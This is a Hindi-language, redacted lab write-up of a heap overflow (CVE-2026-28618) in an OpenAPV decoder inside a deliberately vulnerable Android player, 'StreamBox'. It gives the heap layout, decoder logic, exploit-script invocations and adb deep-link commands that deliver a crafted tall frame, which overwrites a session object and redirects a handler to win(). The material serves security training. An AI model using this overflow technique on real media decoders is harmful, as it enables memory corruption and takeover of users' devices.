
CVE-2026-28618 / StreamBox APV लैब पर संपादित (Redacted) नोट्स — FRAME ऊँचाई बेमेल के माध्यम से सत्र ऑब्जेक्ट में हीप राइट
StreamBox में CVE-2026-28618 — वही OpenAPV डिकोडर क्लास जो CVE-2026-0006 में थी, जिसे एक सत्र ऑब्जेक्ट के विरुद्ध हीप राइट में बदल दिया गया है।
यह रेपो एक सार्वजनिक, संपादित (redacted) राइटअप है: फ़्लैग, इंस्टेंस टोकन और HMAC कुंजी शामिल नहीं हैं। APK और make_clip.py Mobile Hacking Lab के हैं; इन्हें यहाँ मिरर नहीं किया गया है।

StreamBox एक छोटा APV प्लेयर है। APV का अर्थ है Advanced Professional Video (RFC 9924), सैमसंग का रॉयल्टी-मुक्त कोडेक, वही परिवार जो Android के मीडिया स्टैक में शामिल था। लैब का परिचय एक वाक्य में है: प्लेयर साझा किए गए क्लिप्स को आते ही चला देता है।
SEND, VIEW, या streambox://play?url=… किसी फ़ाइल को files/incoming.apv में कॉपी करता है और NativeDec.loadClip() चलता है।
बग है CVE-2026-28618: OpenAPV के dec_frm_prepare में हीप बफ़र ओवरफ़्लो। वही डिकोडर क्लास जो CVE-2026-0006 में थी।
लैब उस राइट को एक गेम के रूप में पैकेज करती है। हार्डकोडेड 64×64 Y प्लेन को ओवरफ़्लो करें, सटे हुए सत्र ऑब्जेक्ट को तोड़ें, टियरडाउन को handlers[2] में मोड़ें, और Worker फ़्लैग लौटा देता है।
किट लैब से दो ज़िप हैं:
streambox-lab.apk.zip — प्लेयरmake_clip.py.zip — 64×64 लाइब्रेरी क्लिप्स कैसे बनाए गए, और वह बिटस्ट्रीम जिसे आप ओवरफ़्लो करते हैंAndroid Studio का ARM64 सिस्टम-इमेज QEMU x86-64 होस्ट पर ठीक से काम नहीं करता। यह APK arm64-v8a / minSdk 34 है। libndk_translation.so (abilist=x86_64,arm64-v8a) वाला एक x86_64 API 34 AVD इसे इंस्टॉल और चलाता है।


PlayerActivity यह करता है:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip 1 (प्रीमियम / सत्र स्मैश) या 2 (win() पहले ही चल चुका है) लौटाता है। openTier केवल UI को नेविगेट करता है।
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
बूट पर ऐप पहले ही POST /api/instance और NativeDec.setPlatinumToken(token) कर चुका था। वही टोकन है जिसे ओवरफ़्लो को सत्र में लिखना है।

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_t हार्डकोडेड 64×64, 10-बिट YUV है। प्लेन 0 (Y) arena+0 से शुरू होता है। 64 × 64 × 2 = 0x2000। सत्र arena + 0x2000 + pad है। pad या तो SB_SESS_PAD है या srand(getpid()^time()) के बाद rand() का 0x400-संरेखित निबल है। AVD पर, Sunset Drive ने session-arena = 0x3800 (pad = 0x1800) लॉग किया। अतिरिक्त 64×128 टाइल 0x2000 बाइट्स है, इसलिए यह उन pad मानों के लिए भी सत्र तक पहुँचती है।
oapvd_decode() FRAME PBU चौड़ाई/ऊँचाई पर लिखता है। 64 से अधिक ऊँचाई वाला FRAME सीधे session में 10-बिट नमूने लिखता है।
डिकोड के बाद:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

लैब का जनरेटर 64×64 RGB के 32 फ़्रेम बनाता है, उन्हें yuv422p10le में परिवर्तित करता है, और OpenAPV संदर्भ एनकोडर को कॉल करता है:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
प्रत्येक बंडल क्लिप FRAME 64×64 की 32 एक्सेस यूनिट्स है:
[u32be au_size] ['aPv1' + PBUs] × 32
प्लेयर 64×64 आवंटित करता है। APV टाइल्स 64×64 होती हैं।
qemu-user (qemu-aarch64 + Android 10 linker64) और AVD सहमत हैं:
| क्लिप | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| 64×64 लाइब्रेरी क्लिप | 0 | 0 (premium_hit=0) |
| हेडर ऊँचाई 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT, वही assert, प्रोसेस मर जाती है (क्रैश के बाद होम) |
| वास्तविक 64×128 एन्कोड (दो टाइल्स, QP 0) | 1 | 1 premium_hit=1 → SESSION ANOMALY |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

एक दूसरा encode, encoder recon के विरुद्ध closed-loop, live access token और handler 2 को स्थापित करता है (input Y≈4 पुनर्निर्माण में 2 हो जाता है)। उस 16-बाइट prefix को 64×128 Y plane में दोहराएँ ताकि pad से कोई फर्क न पड़े।
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
AVD पर:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win() loadClip के अंदर चला। openTier(2) ने केवल PremiumActivity खोला, जिसने वह proof POST किया।
qemu-user के लिए सेटअप (Android Studio के ARM64 emulator के लिए नहीं): encode_overflow.py में टिप्पणियाँ और लैब qemu-harness/README.md देखें।
मूल बग वर्ग के लिए संबंधित सार्वजनिक PoC: mobilehackinglab/CVE-2026-0006-openapv-poc।
Python urllib को Cloudflare 1010 मिलता है। मोबाइल UA के साथ curl काम करता है।
Worker मूल magic को no overflow evidence: session magic intact के साथ अस्वीकार करता है। ASCII STREAMBO (LE uint64 से भिन्न बाइट्स) को write के रूप में गिना जाता है।
